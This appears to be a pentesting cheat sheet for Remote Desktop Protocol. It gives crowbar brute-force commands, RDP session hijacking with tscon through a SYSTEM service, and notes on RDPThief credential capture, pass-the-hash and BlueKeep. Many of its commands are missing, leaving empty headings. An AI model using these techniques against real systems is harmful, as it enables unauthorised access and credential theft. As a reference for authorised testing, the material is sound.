Pentesting RDP

CROWBAR

  • Remote desktop protocol with Crowbar

    • Crowbar is a network authentication cracking tool

sudo apt install crowbar
  • Make a suitable wordlist

  • Attempt to bruteforce RDP

crowbar -b rdp -s $host/32 -u admin -C /usr/share/wordlist/rockyou.txt -n 1 -v 
# -b protocol # -s target server 
# -n number of threads (RDP doesnt reliably handle multiple threads)
  • If errors are encountered like: File Not Found, convert the wordlist to UTF-8

iconv -f ISO-8859-1 -t UTF-8 /usr/share/wordlists/rockyou.txt > rockyou_utf8.txt

RDP Session Hijacking

  • Must have SYSTEM privs

query user
  • https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/tscon

tscon #{TARGET_SESSION_ID} /dest:#{OUR_SESSION_NAME} 
sc.exe create sessionhijack binpath= "cmd.exe /k tscon 1 /dest:rdp-tcp#0" 
net start sessionhijack

SHARP RDP

RDP Thief

  • rdpthief.dll must be on the local machine

  • Modify C# source with the location of the hidden RDPThief.dll on disk

  • C# RDP-Inject.exe runs in a while loop and injects into each RDP process in order to capture credentials from RDP

  • Dump captured credentials

  • The above command pulls RDP-Thief from a remote webserver and loads it via powershell reflection. Ensure you update the arguments in the above command

Screenshot the Desktop

  • You can take a screenshot of the desktop if NLA is disabled

  • with netexec

  • Resolution with WxH Default 1024x768

Enable RDP via Crackmapexec

Enable RDP via Registry

Enable RDP access for user

Remove Remote Desktop Access for user

If PTH is Disabled

  • Enable Restricted admin

RDesktop

RDESKTOP

  • Mount folders using RDesktop

XFreeRDP

  • All security certificates should be ignored

  • Mount a folder on our attacker machine to the target machine

  • Some other xfreerdp commands with options that have been helpful in the past

FreeRDP 3 syntax is similar:

Pass The Hash RDP

  • If PTH is disabled, enable restricted admin

Validate RDP Access with NetExec

When testing known users and passwords, use --no-bruteforce to try each username/password pair in order instead of spraying every password against every user:

RDP and WinRM authorization are separate. Credentials that work for RDP may still fail WinRM if the user is not allowed to use PowerShell remoting.

PTH RDP From a Windows machine

Nmap

RDP Security Check


Nmap Enumeration

  • Additional flags for RDP enumeration

  • NSE scripts: rdp-enum-encryption, rdp-ntlm-info — reveals OS version, domain name, and NTLM information from the RDP service


Hydra RDP Brute Force


BlueKeep (CVE-2019-0708)

  • Use-After-Free vulnerability in RDP (TCP 3389)

  • No authentication required — pre-authentication RCE

  • Achieves code execution as LocalSystem

  • Affects Windows 7, Windows Server 2008/2008 R2, Windows XP, Windows Vista

  • Approximately 950,000 hosts were initially vulnerable when disclosed

Last updated